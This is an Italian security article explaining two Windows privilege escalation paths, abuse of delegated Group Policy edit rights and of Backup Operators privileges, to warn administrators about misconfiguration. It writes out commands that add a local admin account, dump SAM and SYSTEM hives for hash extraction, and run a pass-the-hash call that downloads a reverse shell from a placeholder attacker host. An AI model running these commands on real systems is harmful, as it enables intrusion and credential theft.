Best practice per la sicurezza di Windows: Prevenire gli attacchi di privilege escalation negli ambienti aziendali

Windows e le “privilege escalations”

Tutti noi sappiamo quanto sia importante e fondamentale tenere i nostri sistemi Windows aggiornati ma questo sicuramente non basta perché, come ben noto, l’anello più debole della catena è sempre e solo il fattore umano.

Molto spesso gli attacchi più mirati tendono a sfruttare configurazioni errate del sistema piuttosto che andare alla vana ricerca di vulnerabilità non patchate.

Le cause di queste misconfigurazioni sono molteplici ma principalmente imputabili a:

  • Sysadmin poco competenti, oppure distratti;
  • Policy di sicurezza troppe deboli;
  • Mancanza di una seria valutazione di impatto su alcune scelte fondamentali nella gestione di sistemi.

In questo articolo illustrerò un paio di tecniche di “privilege escalation”, ossia guadagnare i privilegi di Administrator o SYSTEM partendo da un utente non privilegiato, utilizzando tecniche meno comuni e che,  anche se “borderline”, non andrebbero assolutamente sottovalutate.

Tecniche di Privilege Escalation nei sistemi Windows

Group Policy, deleghe e permessi: un’arma a doppio taglio

Le Group Policy sono la croce e delizia di tutto gli amministratori dei sistemi Windows in ambienti Active Directory. Se da un lato consentono una gestione avanzata ed estremamente granulare di tutti gli oggetti presenti in AD, dall’altra parte sono spesso assai complesse da gestire ed in caso di problemi il “troubleshooting” non è affatto banale.

Per non parlare delle deleghe che consentono ad un subset di utenti di gestire in proprio una specifica OU (Organizational Unit) ed eventualmente le relative group policy.

Spesso, a causa di permessi e concetti di ereditarietà poco chiari, una configurazione errata o non correttamente valutata può portare a gravi conseguenze in termini di sicurezza.

Esempio di Privilege Escalation sfruttando Group Policy

In questo esempio concreto, sfruttando queste (mis)configurazioni, andremo a creare  un nuovo utente locale su una macchina vittima associandolo al gruppo locale degli  Administrators senza che l’utenza che stiamo utilizzando ne abbia i diritti.

Mettiamoci nei panni dell’amministratore del dominio ActiveDirectory perché vogliamo  delegare la gestione di una particolare OU (in questo caso “TESTOU”) allo user “testuser”

Tecniche di privilege escalation nei sistemi Windows: Errori di configurazione delle Group Policy

Associamo una Group Policy a questa specifica OU e per fare in modo che il nostro utente delegato possa gestire in pieno anche le group policy di questo contenitore, diamogli i permessi di “edit” sulla policy.

Rischi per la sicurezza di Windows: privilege escalation tramite manipolazione delle Group Policy

Lo scenario immaginato non è distante dalla realtà e senza rendercene conto, in questo modo abbiamo aperto una falla di sicurezza.

Come sfruttare le Group Policy per ottenere Privilege Escalation

Scopriamo il perché.

Supponiamo di essere un attaccante  che sia riuscito ad entrare in possesso delle credenziali dell’utente al quale  è stata  delegata la gestione della OU e che abbia accesso alla rete aziendale.  Ci colleghiamo sulla macchina “vittima” SERVER2 in rdp oppure attraverso una shell remota:

Sfruttare le deleghe delle Group Policy per la privilege escalation in Active Directory

Come possiamo osservare, nessun permesso particolare. “testuser” fa solo parte del gruppo di default “Domain Users”

Attacco di privilege escalation: Creazione di account amministrativi locali tramite Group Policy

Il nostro utente non fa nemmeno parte dei “Local Administrators”.

Modificare le Group Policy per ottenere Privilege Escalation

Proviamo a verificare le Group Policy. Tutte le configurazioni relative a queste ultime sono memorizzate e replicate nei filesystem dei diversi Domain Controllers e rese disponibili ai client attraverso una particolare share:

Vulnerabilità di sicurezza di Windows: privilege escalation utilizzando Group Policy mal configurate

Come possiamo vedere, in questa share (nome dominio\sysvol\…) i files e directories relativi alle  group policy impostate a livello di dominio si trovano in una sottocartella identificata da un particolare ID che è quello della policy.

Cerchiamo di vedere i permessi associati a queste policy. Dato che l’output è assai lungo, facciamo il redirect su un file:

Privilege escalation in Active Directory: Abuso dei permessi delegati delle Group Policy

Analizzando il file saltano all’occhio questi permessi associati a “testuser”, il nostro utente:

Tradotto in termini semplici, “testuser” può scrivere in questa directory che identifica la policy con ID: {9E1A4376-2BA3-4D7A-8800-943DFDD377BC}.

Creare uno script per ottenere la Privilege Escalation

Verifichiamo se corrisponde al vero:

privilege escalation in Windows: Sfruttare errori di configurazione delle Group Policy per l'accesso amministrativo

E in effetti è così. Ma come mai? Perché l’amministratore distratto aveva dato i diritti di “Edit Policy” su questa particolare policy  all’utente “testuser”.

Questi diritti possono essere sfruttati in diversi modi, anche senza l’ausilio della console di Group Policy Management.

Sfruttamento delle Policy di avvio per Privilege Escalation

Chiaramente le policy a livello macchina sono le più interessanti in questo caso dato che vengono eseguite nel contesto dell’utente locale SYSTEM.

Ad esempio, si potrebbe inserire uno script malevolo (aggiungere lo user al gruppo ”Local Administrators” oppure richiamare una reverse shell, etc) nella directory:

C:\Windows\SYSVOL\sysvol\mylab.local\Policies\{9E1A4376-2BA3-4D7A-8800-943DFDD377BC}\Machine\Scripts\Startup

Esecuzione immediata di task schedulati

Questo script verrebbe eseguito al riavvio della macchina. Se invece non vogliamo aspettare il riavvio ci viene in aiuto l’“Immediate Scheduled Task”. Come dice il suo nome, è un Task schedulato che viene eseguito immediatamente ed è configurabile attraverso le Group Policy.

Si tratta solo di copiare un apposito file xml, ScheduledTasks.xml nella directory:

C:\Windows\SYSVOL\sysvol\mylab.local\Policies\{9E1A4376-2BA3-4D7A-8800-943DFDD377BC}\Machine\Preferences\ScheduledTasks

Possiamo trovare templates già pronti, come ad esempio nel tool powerview.ps1 oppure lo possiamo creare da una Group Policy nel nostro lab di prova.

Hacking dei sistemi Windows: privilege escalation tramite vulnerabilità delle Group Policy

Una volta ottenuto tale file, si cambiano le configurazioni relative ai comandi da eseguire, esempio:

<Command>c:\temp\script.bat</Command><Arguments></Arguments>

Nel file script.bat aggiungeremo le istruzioni necessarie:

net user superadmin abcd1234* /add
net localgroup administrators superadmin /add

In seguito basterà copiare il file modificato ScheduledTasks.xml  nella cartella di destinazione e forzare un refresh della policy :

Rischi per la cybersecurity: privilege escalation nei domini Windows tramite Group Policy

E verificare l’esito dell’operazione:

Vulnerabilità dei server Windows: privilege escalation utilizzando il gruppo Backup Operators

E’ stato  creato un nuovo utente e aggiunto al gruppo dei local administrators, tutto questo sfruttando semplicemente una group policy.  Ora possiamo immedesimare l’utente Superadmin:

Tecniche di privilege escalation: Sfruttamento dei permessi dei Backup Operators in Windows

Abbiamo dato per scontato che questa policy fosse applicata alla macchina SERVER2, se volessimo essere sicuri basterebbe fare una query anche via ldap con strumenti come “ldifde.exe” oppure sempre attraverso il tool “powerview.ps1”

La potenza oscura dei “Backup Operators”

Questo gruppo nativo di Windows consente ai suoi membri di effettuare le operazioni di backup e restore. Perché mai utilizzare questo gruppo speciale? Perché durante le operazioni di backup e restore, l’operatore (o il processo impersonato) deve potere accedere a files e directory ai quali normalmente non avrebbe diritti per accedere..

Quindi, invece di garantire il pieno accesso (leggi privilegi di Admin e/o SYSTEM) a questi utenti ed ai servizi a loro associati, si preferisce concedere loro i  permessi solo durante queste particolari operazioni.  A livello di sistema operativo, al gruppo dei Backup Operators viene garantito il privilegio di SeBackupPrivilege e SeRestorePrivilege.

Debolezze di sicurezza di Windows: privilege escalation tramite i privilegi di backup e ripristino

Privilege Escalation attraverso i Backup Operators

Si tratta di una  misura cautelativa e totalmente condivisibile, in piena sintonia con le best practice che prevedono le profilazioni utenti con il concetto di “least privilege” e  le “segregation  of duty & roles”,  ma cosa può succedere se un utente malintenzionato entra in possesso di queste credenziali?

Purtroppo le conseguenze potrebbero essere molto serie. Nel caso specifico andremo a simulare un attaccante, in possesso delle credenziali dell’operatore  di  backup e facente parte del gruppo locale “Backup Operators”,  che riesce ad ottenere una windows command shell remota con i diritti di SYSTEM.

Concentriamoci sul privilegio di “Backup”. Come abbiamo visto questo garantisce all’utente durante le operazioni di backup, l’accesso a tutti i files e voci del registro Windows in barba a tutti i permessi.

Estrazione delle hash NTLM dal registro di Windows

Nel registro di Windows sono memorizzate molte informazioni sulla configurazione del sistema e alcune di queste molto critiche, come ad esempio le hash NTLM delle password degli utenti locali, ivi compresa quella dell’ “Administrator” locale.

Il nostro utente malintenzionato con i privilegi riservati ai Backup Operators e con un accesso sulla macchina vittima (esempio via Remote Desktop) potrebbe pensare di effettuare un backup delle voci del registro che riguardano gli utenti locali, salvarle  localmente e  in seguito dare in pasto questi files ad appositi tools che estraggono le hash NTLM delle password. Si avete capito bene, la privilege escalation è veramente un gioco da ragazzi in questo caso.

Vediamola da più vicino.

Prima di tutto occorre una command shell “elevata” (impropriamente in questo caso: “Run as Administrator”) per far si che i  privilegi siano disponibili. In questo caso interviene anche lo User Access Control (UAC):

Hacking di Windows: privilege escalation abusando dell'appartenenza al gruppo Backup Operators

Dopo avere fornito le credenziali, verifichiamo i privilegi:

Minacce alla cybersecurity: privilege escalation in Windows utilizzando i privilegi di backup

SeBackupPrivilege è presente ma disabilitato. Questo non rappresenta un problema dato che saranno le operazioni di backup ad abilitarlo.

N.B: in assenza di una shell “elevata” i privilegi, seppure assegnati, non sono visibili e quindi non usufruibili:

privilege escalation in Windows: Estrazione degli hash NTLM con i diritti dei Backup Operators

Tramite l’utility di Windows “reg.exe” si possono effettuare le operazione di backup delle voci del registro necessarie per estrarre le hash NTLM (chiavi SAM e SYSTEM):

Rischi per la sicurezza di Active Directory: privilege escalation tramite permessi utente mal configurati"

Come possiamo vedere, essendo Backup Operator l’operazione avviene senza problemi.

Utilizzo di strumenti come mimikatz per Privilege Escalation

Un utente normale riceverebbe invece questo avviso:

Tecniche di hacking di Windows: privilege escalation tramite Group Policy e diritti di backup

Adesso che abbiamo i due files possiamo estrarre le hash con diverse utilities, in questo caso useremo il tool “mimikatz” caricato sulla nostra macchina Windows dopo avere copiato system.hive  e sam.hive

Vulnerabilità nella cybersecurity: privilege escalation nei domini Windows e nei sistemi locali

Come si evince dallo screenshot, abbiamo ottenuto l’hash della password dell’utente Administrator grazie al solo privilegio di Backup.

Autenticazione con Pass-the-Hash

Con le note tecniche di Pass-the-Hash (ossia autenticarsi su un sistema Windows fornendo username e hash della password) possiamo a questo punto ottenere un accesso privilegiato sulla macchina vittima.

Nel caso specifico useremo uno script powershell “smbexec.ps1” che consente appunto di utilizzare questa tecnica. In fondo allo script andremo ad aggiungere le istruzioni per l’esecuzione della funzione con tutti i parametri necessari:

Invoke-SMBExec -Target victim_ip -Username Administrator -Hash  446687c38d831xxxxxxxxxxxxxxxxxxx -Command “powershell `”IEX (New-Object Net.WebClient).DownloadString(`’http://attacker_ip/r.ps1`’);`””

Come comando da eseguire in caso di accesso riuscito richiameremo una reverse shell in powershell (r1.ps1) scaricata dal sito web dell’attaccante ed eseguita in memoria, senza scrivere nulla sul disco fisso della macchina vittima (ma potremmo eseguire qualsiasi altro comando nel contesto di SYSTEM) .

Lo stesso script smbexec.ps1 sarà scaricato dalla macchina attaccante ed eseguito in memoria:

Flaws di sicurezza nei server Windows: Metodi di privilege escalation per il penetration testing

E sulla macchina dell’attaccante lanciamo l’utility netcat per metterci in ascolto sulla porta definita nello script powershell pronti a ricevere la reverse shell:

Penetration testing di Active Directory: privilege escalation tramite errori di configurazione delle policy

Essendo l’utente SYSTEM abbiamo il controllo completo sulla macchina e partendo da qui possiamo utilizzare le tecniche  “lateral movement”  per accedere ad altre macchine.

Anche le operazioni di “restore” in senso lato  non sono immuni da questi pericoli, anche qui esistono tutta una serie di tecniche che ci consentono di ottenere lo stesso risultato.

Per concludere: inserire un utente nel gruppo Backup Operators (ma anche Server Operators) equivale potenzialmente ad associarlo al gruppo Administrators!

Conclusioni

Con questi 2 semplici esempi ho dimostrato quanto sia fondamentale una corretta valutazione sull’impatto che potrebbe avere un’implementazione e/o modifica delle policy di sicurezza in ambiente Windows. 

La valutazione di questi richiede conoscenze tecniche abbastanza approfondite e le aziende dovrebbe porsi la domanda se questi skill sono presenti o meno nella propria organizzazione ed agire di conseguenza. Contro l’errore umano non c’è molto da fare tranne che quello di eseguire prima tutta una serie di test mirati alla sicurezza prima di adottare una nuova politica.

In questi tempi si fa un gran parlare di GDPR, una normativa che sicuramente può aiutarci a capire meglio se e in che misura i nostri sistemi IT sono sicuri e protetti, ma non commettiamo l’errore di illuderci che COMPLIANCE equivalga a SECURITY!

Bibliografia / Links:

A cura di: Andrea Pierini

Profilo Autore

Attualmente ricopre il ruolo di "IT Architect & Security Manager – Group Wide" in un'importante multinazionale industriale italiana.
Laureato, ha maturato una lunga esperienza nel mondo dell'ICT, dallo sviluppo Software alla gestione sistemistica, dal networking fino alla sicurezza.
Ha guidato importanti progetti sia applicativi che infrastrutturali con ruolo di Project Manager. Docente di corsi su temi specifici riguardanti la gestione dei sistemi Windows, Linux e Networking, con particolare attenzione alla sicurezza ICT.
Si definisce un "IT Security enthusiast" interessato a tutte le tecnologie emergenti ed alle ultime frontiere della sicurezza, sia "offensive" che "defensive".
Animato da un forte spirito divulgativo, ha presenziato diversi interventi in sedi anche accademiche, e pubblicato diversi articoli su magazine di settore. Ha iniziato recentemente un suo blog (https://decoder.cloud)

Condividi sui Social Network:

Ultimi Articoli